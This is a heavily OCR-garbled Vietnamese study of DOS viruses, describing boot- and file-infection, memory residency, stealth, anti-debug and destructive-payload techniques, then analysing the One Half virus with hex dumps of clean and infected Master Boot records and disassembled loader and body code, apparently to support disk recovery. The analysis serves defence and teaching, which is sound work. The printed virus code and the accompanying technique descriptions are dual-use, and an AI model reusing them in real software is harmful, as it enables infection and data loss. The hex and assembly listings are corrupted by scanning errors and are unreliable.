tham s6 tuong tng cua doan ma virus roi ghi trd lai vao vi tri clia
noé trén dia. Con sector khoi dong vira doc 1én cung véi than cta
virus (loai DB-virus) s€ dugc ghi vao vung xic dinh trén dia.
Ngoai ra mot s6 virus con chi€m ngat 21 ctia DOS dé lay nhiém
va ph4 hoai trén céc file ma ngat 21 1am viéc.

Viéc xay dung sector khai dong c6 doan ma cua virus phai
dam bao cac k¥ thuat sau day:

- Sector khéi dong bi nhi€m phai con chita cac tham s6 dia
phuc vu cho qua trinh truy xuat dia, d6 1a bang tham s6 BPB cua
Boot record hay bang phan chuong trong truong hop Master boot.
Viéc khong bao toan s& dan dén viéc virus mat quyén diéu khién
hoic khong thé kiém soét duoc dia néu virus khong ¢6 mat trong
moi truong.
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- Su an toan cua sector khdi dong nguyén thé va doan than
clia virus ciing phai duoc dat 1én hang dau. Cac ky thuat vé vi tri
cat giau chung ta ciling da phan tich & cac phan trén.

d. Ky thudt nguy trang va gdy nhiéu.

Ky thuat nay ra doi kha muon vé sau nay, do khuynh huéng
chong lai su phat hién ctia nguoi st dung va nhitng 1ap trinh vién
doi véi virus. Vi kich thuéce cua virus kha nho bé cho nén cac lap
trinh vién hoan toan cé thé do ting budc xem co ché cla virus
hoat dong nhu thé ndo, cho nén cédc virus tim moi cach lat 1éo dé
chong lai su theo doi cua cac 1ap trinh vién.

Cac virus thuong ap dung mot so k§ thuat sau day:

- C6 tinh viét cdc 1énh mot cach ric roi nhu dat Stack vao cac
viing nhé nguy hiém, chi€m va xo4 cédc ngit, thay doi mot cach lat
1éo cac thanh ghi phan doan dé ngudi do khong biét dit lieu 14y tir
dau, thay doi cdc gid tri ciia cic Iénh phia sau dé ngudi sit dung
kho theo doi.

- Mai ho4 ngay chinh chuong trinh clia minh d€ ngudi sir dung
khong phat hién ra quy luat, cling nhu khong thady mot cach ro
rang ngay su hoat dong cua virus.

- Nguy trang: Cach thit nhat 1a doan ma cai vao sector khai
dong cang ngin cang tot va cang giong sector khoi dong cang tot.
Tuy vay céach thi hai van duoc nhiéu virus dp dung: Khi may
dang ndm trong quyén chi phoi cta virus, moi yéu cau doc/ghi
Boot sector (Master boot) déu duogc virus tra vé mot ban chudn:
ban trude khi bi virus lay. Diéu nay danh Iira nguoi st dung va cac
chuong trinh chong virus khong duoc thi€t ké tot néu may hién
dang chiu su chi phoi cua virus.
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e. Ky thudt pha hoai.

D3 1a virus thi bao gi¢ cling ¢6 tinh pha hoai. C6 thé pha hoai
O mic dua cho vui, cling c6 thé 1a phd hoai & mic do nghiém
trong, gady mat mat va dinh tré doi véi thong tin trén dia.

Cian ctf vao thoi diém pha hoai, c6 thé chia ra thanh hai loai:

- Loai dinh thoi: Loai nay luu gitt mot gia tri, gid tri nay co
thé 1a ngdy giod, s6 14n lay nhiém, s6 gid may da chay, ... Néu gid
tri nay vugt qua mot con sO cho phép, né s€ ti€n hanh pha hoai.
Loai nay thudng nguy hi€ém vi ching chi phd hoai mot lan.

- Loai lién tuc: Sau khi bi lay nhiém va lién tuc, virus tié€n
hanh pha hoai, song do tinh lién tuc nay, cdc hoat dong pha hoai
cua n6 khong mang tinh nghiém trong, chu yéu la dua cho vui.

V.CAC PAC PIEM CUA F-VIRUS

So vGi B-virus thi s6 lugng F-virus dong dao hon nhiéu, c6 18
do céc tac vu dia véi su hd tro cua Int 21 da tré nén cuc ky dé
dang va thoai mdi, d6 12 diéu kién phét trién cho cac F-virus.

Thuong thi cac F-virus chi lay lan trén cac file kha thi (c6
duoi .COM hoac .EXE), tuy nhién mot nguyén tic ma virus phai
tuan tha la: Khi thi hanh mot file kha thi bi lay nhiém, quyén di€u
khién phai nam trong tay virus trudc khi virus tra né lai cho file bi
nhiém, va khi file nhan lai quyén diéu khién, tit cd moi dit lieu
cua file phai duoc bao toan.

Doi v6i F-virus, c6 mot s6 ki thuat duge néu ra & day:
1. Ky thudt ldy lan:

Cac F-virus chu yéu st dung hai k¥ thuat: Thém vao dau va
thém vao cudi
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a. Thém vao dau file.

Thong thuong, phuong phap nay chi ap dung cho cac file
.COM, tic la dau vao cua chuong trinh luén luon tai PSP:100h.
Loi dung dau vao c6 dinh, virus chén doan ma cua chuong trinh
virus vao diu chuong trinh d6i tuong, ddy toan bo chuong trinh
doi twong xuong phia dudi. Cach ndy c¢6 mot nhuge diém 1a do
dau vao co6 dinh cua chuong trinh .COM la PSP:100, cho nén
trude khi tra lai quyén di€u khién cho chuong trinh, phai day lai
toan bo chuong trinh 1én bat dau tir offset 100h. Céach lay nay gay
khé khan cho nhitng nguoi khoi phuc vi phai doc toan bo file vao
vung nhé roi mdéi ti€n hanh ghi lai.

b. Thém vao cudi file.

Khac véi cach lay lan & trén, trong phuong phap nay, doan
ma cua virus s& dugc gan vao sau cua chuong trinh doi tuong.
Phuong phap nay dugc thdy trén hau hét cac loai virus vi pham vi
lay lan cua né rong rai hon phuong phap trén.

Do than cua virus khong nam ding du vao clia chuong trinh,
cho nén dé€ chi€ém quyén diéu khién, phai thuc hién ky thuat sau
day:

- b6i véi file .COM: Thay cac byte dau tién ctia chuong trinh
(ddu vao) bang mot 1énh nhay JMP, chuyén diéu khién dén doan
ma cua virus.

E9 xx xx  JMP Entry virus.

- b6i véi file .EXE: Chi can dinh vi lai hé thong cac thanh
ghi SS, SP, CS, IP trong Exe Header dé trao quyén diéu khién cho
phan ma virus.

Ngoai hai k¥ thuat lay lan chu yéu trén, c6 mot s6 it cac virus
sit dung mot s6 cac k¥ thuat dac biét khac nhu ma hoa phan ma
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cua chuong trinh virus trudc khi ghép ching vao file d€ nguy
trang, hodc tham chi thay th€ mot s6 doan ma ngén trong file doi
tuong bang cdc doan ma cla virus, gdy khé khan cho qud trinh
khoi phuc.

Khi tién hanh lay lan trén file, doi véi cac file duoc dat cac
thuoc tinh Sys (hé thong), Read Only (chi doc), Hidden (4n), phai
ti€n hanh daéi lai céc thuodc tinh d6 dé c6 thé truy nhap, ngoai ra
viéc truy nhap ciing thay déi lai ngay gi® cap nhat cua file, vi thé
hau hét cac virus déu luu lai thudc tinh, ngay gio cap nhat cua file
dé sau khi lay nhiém s& tra lai y nguyén thudc tinh va ngay gio
cap nhat ban dau cta no.

Ngoai ra, viéc cd gang ghi Ién dia mém c6 ddn nhan bao vé
cling tao ra dong thong bdo 16i cia DOS: Retry - Aboart -
Ignore?, néu khong xur 1y tot thi dé bi nguoi sit dung phat hién ra
su ¢6 mat cua virus. Loi kiu nay dugc DOS kiém soat bing ngat
24h, cho nén céc virus muén tranh cac thong bao kiéu nay cua
DOS khi tién hanh lay lan phai thay ngét 24h cua DOS trude khi
tién hanh lay lan roi sau dé hoan tra.

2. Ky thudt ddm bdo tinh ton tai duy nhadt.

Ciing giong nhu B-virus, mdt yéu cau nghiém ngat dat ra doi
vGi F-virus 1a tinh ton tai duy nhat ctia minh trong bo nhé ciling
nhu trén file.

Trong vung nhé, thong thuong cac F-virus st dung hai k§y
thuat chinh: Thi nhat 1a tao thém chidc niang cho DOS, bang céch
st dung moét chiic nang con nao do6 trong dé dat chic nang 16n
hon chitc nang cao nhat ma DOS c6. D€ kiém tra chi cin goi chiic
nang nay, gia tri tra lai trong thanh ghi quyét dinh su ton tai clia
virus trong bo nhé hay chua. Cach thit hai la so sanh mot doan ma
trong ving nhé 4n dinh véi doan ma cua virus, néu cé su chénh
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léch thi ¢6 nghia la virus chua c6 mat trong vung nhé va sé tién
hanh lay lan.

Trén file, c6 thé ¢ cic cach kiém tra nhu ki€ém tra bing test
logic nao dé véi cac thong tin cta Entry trong thu muc cua file
nay. Cach nay khong dam bao tinh chinh xac tuyét déi song néu
thiét k& tot thi kha nang trung 1ap cling han ché, hau nhu khong
c6, ngoai ra mot vu diém 1a toc do thuc hién kiém tra rat nhanh.
Ngoai ra c6 thé kiém tra bang cidch do mot doan ma dic trung
(key value) cuia virus tai vi tri an dinh nao d6 trén file, vi du trén
cac byte cuoi cung cua file.

3. Ky thudt thuong tru

Pay 1a mot ky thuat khé khan, 1y do 1a DOS chi cung cap
chiic nang thuong tri cho chuong trinh, nghia 1a chi cho phép ca
chuong trinh thuong tri. Vi vay néu st dung chiic nang cua DOS,
chuong trinh virus muén thuong trad thi ca file doi tuong cling phai
thudng trd, ma diéu nay thi khong thé dugc néu kich thudc cua
file d6i tuong qua 16n.

Chinh vi 1y do trén, hau hét cidc chuong trinh virus muon
thudng trd déu phai thao tic qua mat DOS trén chudi MCB bang
phuong phdp "thu cong". Can ci vao viéc thuong trd dugc thuc
hién truGc hay sau khi chuong trinh d6i tuong thi hanh, c6 thé
chia k¥ thuat thuong tri thanh hai nhom:

a. Thuong trii trudc khi trd quyén diéu khién.
Nhu da néi & trén, DOS khong cung cap mot chiic nang nao
cho ki€u thuong trd ndy, cho nén chuong trinh virus phai tu thu
x€p. Cac cach sau day da duoc virus dung dén:
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- Thao tac tréen MCB dé tich mot khéi ving nhd ra khoi
quyén diéu khién ctia DOS, roi dung ving nay dé€ chita chuong
trinh virus.

- Ty dinh vi vi tri trong bo nhG d€ tai phan thudng trd cua
virus vao, thuong thi cic virus chon & vung nhé cao, phia dudi
phan tam trd cua file command.com dé trdnh bi ghi dé khi hé
thong tai lai command.com. Vi khong cap phat bo nhé cho phan
chuong trinh virus dang thuong trd, cho nén command.com hoan
toan ¢4 quyén cap phat ving nhé dé cho cac chuong trinh khac,
nghia la chuong trinh thuong trd cua virus phai chap nhan sy mat
mat do may rui.

- Thuong trd bang chic nang thuong tri 31h: Pay 1a mot ky
thuat phuc tap, tién trinh can thuc hién dugc mo ta nhu sau:

Khi chuong trinh virus dugc trao quyén, né sé tao ra mot
MCB dugc khai bao 1a phan tir trung gian trong chudi MCB dé
chtta chuong trinh virus, sau dé6 lai tao ti€p mot MCB mdi d€ cho
chuong trinh bi nhiém bang cdach doi chuong trinh xudng ving
mdéi nay. D€ thay d6i PSP ma DOS dang luu gitt thanh PSP ma
chuong trinh virus tao ra cho chuong trinh doi tugng, phai s dung
chitc nang 50h ctia ngat 21h.

b. Thuong tru sau khi doat lai quyén diéu khién.

Chuong trinh virus 1y tén chuong trinh dang thi hanh trong
moi truong cta DOS, r6i né thi hanh ngay chinh ban than minh.
Sau khi thi hanh xong, quyén diéu khién lai dugc tra vé cho virus,
va khi d6 n6 méi ti€n hanh thuong trd mot cach binh thudng bang
chitc nang 31h ctia ngat 21h.

4. Ky thudt nguy trang va gdy nhiéu
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Mot nhuoc diém khong tranh khoi 12 file doi tuong bi lay
nhiém virus s€ bi ting kich thudc. Mot sO virus nguy trang bang
cach khi st dung chic nang DIR cua DOS, virus chi phoi chic
nang tim ki€m file (chitc nang 11h va 12h cua ngat 21h) d€ giam
kich thudGc cta file bi l1ay nhiém xudng, vi th€ khi virus dang chi
phoi may tinh, né€u st dung 1énh DIR cua DOS, hoac cac 1énh st
dung chic niang tim kiém file & trén dé co thong tin vé entry trong
bang thu muc, thi thdy kich thudc file bi 1ay nhiém van bang kich
thude cua file ban dau, di€u nay danh lra nguoi st dung vé su
trong sach cua file nay.

Mot s6 virus con gay nhiéu bang cidch mi hod phan 16n
chuong trinh virus, chi khi nao vao ving nhég, chuong trinh méi
duoc giai ma nguoc lai. Mot sO virus anti-debug bang cach chi€m
ngat 1 va ngat 3. Boi vi cdac chuong trinh debug thuc chat phai
dung ngat 1 va ngat 3 dé thi hanh timg budc mot, cho nén khi
virus chi€ém cdc ngit ndy r6i ma ngudi lap trinh dung debug dé
theo doi virus thi két qua khong luong trudc dugc.
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5. Ky thudt pha hoai

Thong thuong, cac F-virus cling st dung cach thic va Ky
thuat pha hoai giéng nhu B-virus. Cé thé phd hoai mot cdch dinh
thoi, lién tuc hodc ngiu nhién. D6i twong pha hoai cé thé 1a man
hinh, loa, dia,...

Chuong III.
KHAO SAT VIRUS ONE HALF.

1. Chudn bi cho qud trinh khdo sdt.

Trong cac phan trudc, ching ta da dua ra nhitng nguyén tac
chung trong viéc thiét k€&, hoat dong ctia hau hét cac loai virus tir
truGc dén nay. Tat nhién moi loai virus c6 mot dac thu riéng cla
minh.

Phan nay s€ trinh bay quy trinh va mot s6 cac két qua khao
sat co ban phuc vu cho qua trinh khoi phuc dia ctiing doi véi virus
One Half, mot trong c4c virus thuong hay gép hién nay.

Qua trinh khao sat duoc tién hanh trén may tinh AT386
SX40, Hard Disk c6 14 (OEh) dau tir (danh so tir O cho dén 13
(ODh)), 943 (03B0h) Cylinder (danh so6 tir 0 dén 942 (03AFh)), 40
(28h) sector trén mot track.

Truéc khi cho virus One Half nhiém vao mdy cua minh,
ching ta phai can than luu lai Master Boot, Boot Sector. Thong
thuong do6i v6i cac may tinh, trén toan bo Track 0, Side O chi dung
mot sector dau tién cho Master Boot, con lai la khong sir dung,
ching ta c6 thé luu ching trén cdc sector nay. Tuy nhién céc DB-
virus cling thuong st dung cac sector d6 dé€ ghi than cua chiing,
cho nén dé phong khi mdy bi nhiém, phan than cua virus sé& de
vao cdc sector luu cta ching ta. C6 thé luu trén mot vai chd, va
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thong thuong virus khong luu phan than ctia minh trén cac sector
ngay sau Master Boot, cho nén ching ta c6 thé luu & day. Tat
nhién c6 thé can than hon bing cach luu ching ra file, va/hoic s
dung chitc niang tao dia ctu tro (rescue disk) cuia Peter Norton dé
khi cin ¢6 thé nap lai ching vao dia.

2. Phdn tich Master Boot bi nhiém virus One Half.

Sau khi cho dia cting nhiém virus One Half, khéi dong (cold
boot) bang dia mém sach. Diéu nay 1a can thiét vi hau hét céc loai
virus khi nhiém vao may tinh déu chi€ém céc ngit quan trong nhu
ngat 21h (cac chic nang cta DOS), ngit 13h (phuc vu dia cua
ROM-BIOS) va mot s6 cdc ngat khac. Mot s virus duoc thiét ké
dé khi mdy dang bi nim trong quyén chi phdi clia virus, moi yéu
cau doc/ghi Master Boot déu duogc virus tra vé mot ban Master
Boot chuén, 12 Master Boot truéc khi virus lay, diéu nay gay do
tudng vé€ su trong sach ctia mdy. Ngoai ra viéc khdi dong lanh
(cold boot) s€ tién hanh test lai RAM, tra lai cho DOS phan bo
nhé ma né chiém (thong thuong sau khi thuong trd trong ving
nhé cao, virus giam kich thudc ving nhé tai 0: 413h tuong Gng
v6i viing nhé ma né chi€ém). Sau d6 tién hanh doc Master Boot dé
khao sat (to6i dung DiskEdit cua Peter Norton), so sanh doi chi€u
vGi Master Boot chudn da luu trit trudc day.
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Sau day 1a Master Boot chuén:

Physical Sector: Cyl 0, Side 0, Sector 1

0000 :
50
0010:
00
0020 :
1C
0030:
10
0040 :
74
0050 :
00
0060 :
13
0070 :
3D
0080 :
61
0090 :
62
00AO0
6E
00BO:
65
00CO0:
74
00D0
00
00EO:
00
O0FO:
00

FA 33CO0 8E DO
0750 1IFFB FC

BF 0006 B9 0001
00 BE BE 07

B3 04803C 8074
83 C6 10 FE

CB75 EFCD 18 8B 14
FE

CB74 1A80 3C00 74 F4
0B

56 BBO7 00 B40ECD 10 -

BB00 7CB8 01 02 57 CD
4F 75 EDBE A306 EBD3
55 AA 75 C78BFS5 EA
6C

69 64 20 70 61 72 74 69
: 6C65 00457272 6F
67

20 6F 70 65 72 61 74 69
6D00 4D 69 73 73 69 6E
: 69 6E67 20737973
00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

BC 007C - 8B

F2A5 - EA 1D

OE 80- 3C 00

8B- 4C02 8BEES3

BE8B06 AC 3C

SE EBFO EBFE BF

13 5F 73 0C33 CO

BEC2 06 BFFE 7D

00 - 7C00 00 49 6E
- 74 69 6F 6E 20 74
72 - 20 6C6F 61 64
- 6E67 20737973
- 6720 6F 70 65 72
74 - 65 6D00 00 00
- 00 00 00 00 00 00

- 00 00 00 00 00 00

F4

06

75

C6

00

05

CD

81

76

61

69

74

61

00

00

00
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0100:
00
0110:
00
0120
00
0130:
00
0140 :
00
0150
00
0160 :
00
0170
00
0180:
00
0190 :
00
01A0
00
01BO:
01
01CO:
00
01DO0
00
01EOQ:
00
01FO:
AA

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
: 00 00 00 00 00 00 00
00

00 00 00 00 00 00 00 00
01 00 06 ODE8 AE 28
00

: 00 00 00 00 00 00 00
00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

00 00 00 00 00 00

00 - 00 00 00 00 00

00 00 00 00 00 00

00 - 00 00 ABOE 08

00 - 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

Sau day la Master Boot da bi nhiém One Half:

00

00

00

00

00

00

00

00

00

00

00

80

00

00

00

55
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Physical
0000 :
04
0010 :
B8
0020 :
10
0030:
10
0040 :
74
0050 :
00
0060 :
13
0070 :
3D
0080 :
61
0090 :
62
00AO
6E
00BO:
65
00CO0:
74
00D0O
00
00EOQ:
00
00FO :
00
0100 :
00

Sector: Cyl 0, Side 0, Sector 1

33 DBFABCO00 7C8E D3

B106 CD 12 D3EOBA
07
0206 CD 13 B8D300
FE
CB75 EFCD 18 8B 14
FE
CB74 1A80 3C00 74 F4
0B

- FBSE DBS83 2E 13

80 - 00 8E COB9 22

50 - CBAFO03 1C83

8B- 4C02 8BEES&3

- BESBO06 AC 3C

56 BB07 00 B40OECD 10 - S5E EBFO EBFE BF

BB00 7CB8 01 02 57 CD
4F 75 EDBE A306 EBD3
55 AA 75 C78BF5 EA
6C

69 64 20 70 61 72 74 69

: 6C65 00457272 6F
67

20 6F 70 65 72 61 74 69

6D 00 4D69 73 73 69 6E
: 69 6E67 207379 73

00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

- 13 5F 73 0C33 CO

BEC2 06 BFFE 7D

00 - 7C00 00 49 6E

- 74 69 6F 6E 20 74

72 - 20 6C6F 61 64

- 6E67 20737973

- 6720 6F 70 65 72

74 - 65 6D00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

- 00 00 00 00 00 00

04

00

C6

C6

00

05

CD

81

76

61

69

74

61

00

00

00

00
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0110: 00 00 00 00 00 00 00 OO - 00 00 00 00 00 00 00
01200:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01300:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01400:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01500:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01600:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01700:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01800:0 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
01900:0 00 00 00 00 00 00 00 00
01A(())0 : 00 00 00 00 00 00 OO 00 - 00 00 00 00 00 00
00 00
01BO: 00 00 00 00 00 00 00 00
OlC(()):1 01 00 06 ODES AE 28 00- 0000 A8OE 08 00
OID(())0 ?O 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00
01E(§):0 88 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
OIF(i:(; 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 55

00 00 00 00 00 00 00

00 00 00 00 00 00 80

So sanh hai Master Boot trén, ching ta thidy bang phan
chuong cua ching 1a giong nhau. Thuc ra hau hét moi virus déu
lam nhu vay, vi thay thé bang phan chuong khong cé y nghia gi
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d6i véi ching ma chi tang mdi nghi ngd cua nguoi st dung la
may da bi nhiém virus. Thuong 1a Master Boot bi nhiém cang
giong Master Boot chudn thi cang t6t, nghia 1a doan ma cta virus
dat & day cang nho cang t6t. Hai Master Boot trén khac nhau &
doan ma dau tién gom 2Bh byte (tir offset Oh dén offset 2Ah).
Dung Debug hoiac mdt phan mém Unassembler (trong qua trinh
khao sét, t6i da dung phan mém Source.exe) dé dich nguoc ra
Assembler doan ma nay.

3. Md Assembly cia phan dau virus One Half trong Master

Boot bi nhiem.

Sau day 1a dich ngugc ctia doan ma do: (cac s6 duoc bi€u dién
dudi dang hexa)

00: 33 DB Xor bx,bx
02: FA cli

03: BC7C00 mov sp,7C00h
06: 8E D3 mov ss,bx

08: FB sti

09: 8E DB mov ds,bx
OB: 832E 0413 04 sub word ptr  [0413h],4h
10: B1 06 mov cl,6h

12: CD 12 nt 12h

14: D3 EO shl ax,cl

16: BA 00 80 mov dx,80h
19: 8E CO mov es,ax

IB: B90022  mov ex.22h
1E: B8 02 07 mov ax,0207h

21: 06 push es

22: CD 13 int 13h

24: B8 00 D3 mov ax,0D3h
27: 50 push ax

28: CB retf
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Nhu vy, ching ta thdy phan dau ctia One Half lam nhiing
cong viéc chinh sau day:

- Dit stack lam viéc cho virus tai 0:7C00h

- Giam dung luong bo nhé do DOS quan 1y di 4K, dat dia chi
doan cuia phan viing nhé nay (9F00h) vao cho thanh ghi ES va day
vao stack, chuén bi dia chi segment cho 1énh nhay xa.

- Doc 7 sector trén side 0, Cylinder O, tir sector 22h dén
sector 28h vao dia chi 9F00h:0000h (ES:BX).

- Pay gia tri 0D3h vao stack chudn bi dia chi offset cho lénh
nhay xa.

- Nhay xa t6i 9F00h:00D3h.

4. Khdo sdt phan thdn cua virus One Half.

Nhu vay, ching ta thay phan than clia virus gom 7 sector cudi
trén track O, side 0. Thong thuong, bang Master Boot chuan
thuong dugc luu ngay bén canh phan than clia virus, qua kiém tra,
toi thady Master Boot cii dugc luwu ngay truée phan than cua virus
(ttic & sector thit 8 tinh tir cudi lén). PE khang dinh, toi da kiém
tra trén mot s6 cac may tinh vé6i cac dung luong 6 dia cling khac
nhau va kiém tra gia tri tai offset 1Ch trong phan ma ddu cta virus
One Half trén cac may do

- HDD 40 sec/track: Than cua virus luu tai sector 34-40
Master Boot cii luu tai sector 33
Gia tri tai offset 1Ch trong phan ma dau: 22h
- HDD 17 sec/track: Than cua virus luu tai sector 11-17
Master Boot cii luu tai sector 10
Gia tri tai offset 1Ch trong phan ma dau: OBh
- HDD 61 sec/track: Than cua virus Iuu tai sector 55-61
Master Boot cii luu tai sector 54
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Gia tri tai offset 1Ch trong phan ma dau: 37h

Tir d6 ¢6 thé suy ra rang phan than cla virus gém 7 sector
cudi trén track 0, con Master Boot cii cia mdy duoc luu tai sector
ngay trudc d6. Di€u nay giup cho qua trinh khoi phuc dia sau nay.

Mot s6 nguoi cho rang, th€ 1a da! Chi can ddn d& Master
Boot cii cua may vao vi tri ctia n6 (Side 0, Cyl 0, Sect 1) 1a xong.
Can hét stc than trong véi thao tac nay. Trong cac virus da gap tu
trudc dén nay, c6 mot so virus ti€n hanh ma hoa di liéu trén dia &
cdc muc do khiac nhau. Néu mdy dang thudc quyén chi phoi cta
virus, khi phai lam viéc vé6i dit liéu trén cac vung da bi ma hoa,
virus s€ giai ma vung dit liéu nay va may tinh van lam viéc binh
thuong, song néu may tinh khong bi virus chi phéi, vung dit liéu
da bi virus ma hod s& khong thé 1am viéc binh thudng duoc nita.
Trong thuc t&€ gan day, mot s6 may tinh nhiém virus One Half khi
khéi dong tir dia mém sach, hodc giai quyét theo cach trén, mot s6
vung dir liéu trén dia bi ma hoa: Mot so6 file bi hong, mot s6 thu
muc con bi ma hoa thanh "rac".

DPiéu do c6 nghia 1a phai than trong tim hiéu truéc khi quyét

dinh dan de Master Boot cii 1én Master Boot hién dang chtta virus.

5. Cdc modul Assembler cua phan thdn virus.

Trén co s& ctuia két luan trén, ching ta 14y phan than cta virus
One Half ra dé khao sat. Toi da dung DiskEdit cua Peter Norton
dé ghi lai 7 sector than virus One Half ra mot file dé nghién ciu.

C6 18 khong c6 cach nao khic dé tim hi€u mot con virus
ngoai cach 1an theo vét clia chiing dé tim hi€u xem ching lam gi.

C6 thé dung debug tai phan than cta né vao ving nhd, biét
dia chi dau vao (offset 0D3), bang cach dat thanh ghi IP chiing ta
c6 thé 1an theo vét cua chiing. Tuy nhién cdch 1am nay thudng chi
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khdo sat cdc doan ma ngén, con vdi cdc doan ma dai thi ching ta
khong du siic dé theo doi. Trong trudng hop ndy, ching ta nén
ding phan mém Unassembler dé dich ngugc doan ma do ra file,
in ching ra dé tim hiéu timg budc mot.

Vi 7K ma cua virus One Half, toi da tién hanh dich nguoc
va in ra trén gidy (khoang 33 trang kho A4) d€ tién hanh khdo sat.

TruGe khi 1an theo vét cua virus trong phan than cua nd,
ching ta can chud y hé thong cac thanh ghi sau khi thuc hién phan
dau ctia nd. D1 vé6i virus One Half, sau khi thuc hién phan dau,
hé thong cac thanh ghi nhu sau:

CS:9F00 DS: 0000 ES:9F00 SS :0000

AX - 00D3 BX: 0000 CX :000B DX
: 0080
SP : 7C00 SI :notused DI :not used IP

00D3

Bit ddu tr OD3h trong phan than cua virus, doan ma cla
chung duoc dich nguoc nhu sau: (org 100h)

0100 mov ds:[0086h],cs

0104 mov ax,word ptr ds:[46Ch]
0107 push ds

0108 push cs

0109 pop ds

010A mov word ptr ds:[5S6Ah],ax
010D mov ax,cs

010F Inc ax

0110 mov ds:[0001h],ax

0113 mov byte ptr ds:[0CEB],0
0118 call sub_3; (0236)

sub_3 proc near
0236 mov s1,OFFSET ds:[0772h]
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0239 mov di,OFFSET ds:[0DD8h]
023C mov cx,15Dh

023F cld

0240 rep movsb

0242 retn

sub_3 endp

Phan tich phan dau nay, chuing ta thay virus One Half lam cac
cong viéc sau day:

- Luu gia tri CS=9F00h vao 0: [0086h], dia chi nay luu gia tri
segment cuia ngat 21h.

- Day DS=0 vao stack, dat lai gid tri thanh ghi doan cho DS :
DS=9F00h.

- Luu gia tri cia b0 d€m dong ho chu (gid tri luu tai 0:46Ch)
vao 9F00h:056Ah, 9FOlh vao 9FO0Oh: 0001h, O vao
9F00h:0CEBh. Vi cdc lénh nay thay doi cdc gid tri hiang trong
chuong trinh, ma néu cdc hiang nay lai tham gia trong cdc 1énh sau
s& 1am thay doi ¥ nghia ctia ching, vi vay co 18 tot nhat 12 nén cé
mot bang ghi lai cidc 6 nhG trong phan than cta virus bi thay doi
gia tri trong qua trinh thuc hién cic 1énh cta né.

Piachi 6 | Offset 6 PR s . -
Off : Giatric Gia tri
lenh | Nho bi thay | nhé trong s méi Y nghia
' doi ch.tr
010A 056A 0597 678E B dém
th.g
0113 OCEB 0D18 39 0[]

(C6 mot giai thich nho: Phan than cua virus duoc dich tir
0D3h, tuong dng véi offset 100h, cho nén dé tinh dia chi offset 6
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nhG trong chuong trinh, chiung ta dung cong thuc sau day: <dia
chi offset 6 nh6> = <dia chi tuyét d6i 6 nhé> + 100h - OD3h).
Trong cac 1énh sau nay, dac biét 1a cac 1énh s dung cac gia tri
hdng, can chi ¥ tham khao bang trén xem gia tri cia n6 ¢6 bi 1énh
nao doé truGe do thay doi hay khong.

- Goi sub_3, ma nhiém vu cua modul nay hién nay la chuyén
15Dh byte tir [0772h] dé€n [ODDS8h] trong cung doan 9F00h. Cac
l1énh trong modul nay st dung mot loat cdc gid tri hing, song céc
gid tri hing ndy cho dén nay chua bi thay doi.

Chung ta phan tich ti€p doan ma tié€p theo:

O11B pop es

011C  mov bx,sp

O11E  push es

O11F mov si,es:[bx+29h]

0123 cmp s1,7

0127  jbe loc_8 ; (0181h)

0129  push sl

012A  sub s1,2

012D mov word ptr ds:[140h],si ; offset 6 nh&
16Dh

0131  pop sl

0132  mov ah,8

0134 int 13h ; Poc bang tham s6 dia cing
(d1=80h)

0136 jc loc_8 ;(0181h) Nhay néu co6 16i

0138 mov al,cl

013A and al,3Fh

013C  mov byte ptr ds:[0E2D],al ; offset 6 nh&
OESA

013F mov cl,1

0141 mov bh,7Eh
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0143  mov word ptr ds:[OE2F],bx ; offset 6 nh&
OE5C
0147  mov dl,80h
loc_3:
0149  dec si
014A call sub_4 ; (0243h)
014D  push dx
loc_4:
014E mov ah,2
0150  push ax
0151 int 13h
0153  pop ax
0154 jc loc_5
0156  call sub_38 ; (OE56h)
0159 inc ah
0I5B  push ax
015C int 13h
OI5E  pop ax
loc_5:
015F jc loc_10
0161  test dh,3Fh
0164 jz loc_6
0166  dec dh
0168  jmp loc_4
loc_6:
016A  pop dx
016B cmp s1,359h ; Thuc ra gid tr1 359h trong 1&nh
nay
; da bi thay boi 1énh 12Dh, = si-
2
016F ja loc_3

Nhu vay ching ta thady mot so cong viéc chinh virus One Half
da tién hanh trong doan nay:
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- bat ES=0, BX=SP=7C00h va lay gia tri tai 0:[7CO0h+29h]
dat vao SI. Can nhdé rang, trong giai doan dau cua viéc khai dong,
Master Boot dugc doc vao 0000:[7C0O0h], cho nén gi4 tri duoc dat
vao SI chinh la gia tri tai offset 29h trong Master Boot. Trong
phan trudc, khi so sanh Master Boot chudn va Master Boot bi
nhiém One Half, ching ta da thdy rang chiing khac nhau tir offset
O00h dén offset 2Ah, ma cua phan dau chi tit 00h dén 28h, con
word tai offset 29h 1a gid tri d6 vao thanh ghi SI khi virus thuc
hién doan ma nay.

- Khi SI<=7 thi nhay t6i loc_8. Poan ma nay ching ta sé
quan tam tG1 ching sau.

- Luu gia tri SI-2 vao dia chi 140h (offset 16Dh trong chuong
trinh), lam di€u kién cho vong lap. Mbi lan lap, giam SI di 1, do
d6 vong lap d6 s& 1ap 2 14n (xem lénh 149h, 16Bh, 16Fh).

- Lay tham s6 cua dia cing (int 13h v6i ah=08h), néu c6 16i
s€ nhay tGi loc_8, con néu khong c6 16i thi cac tham s6 cla dia sé
dugc dat 6 cac thanh ghi nhu sau:

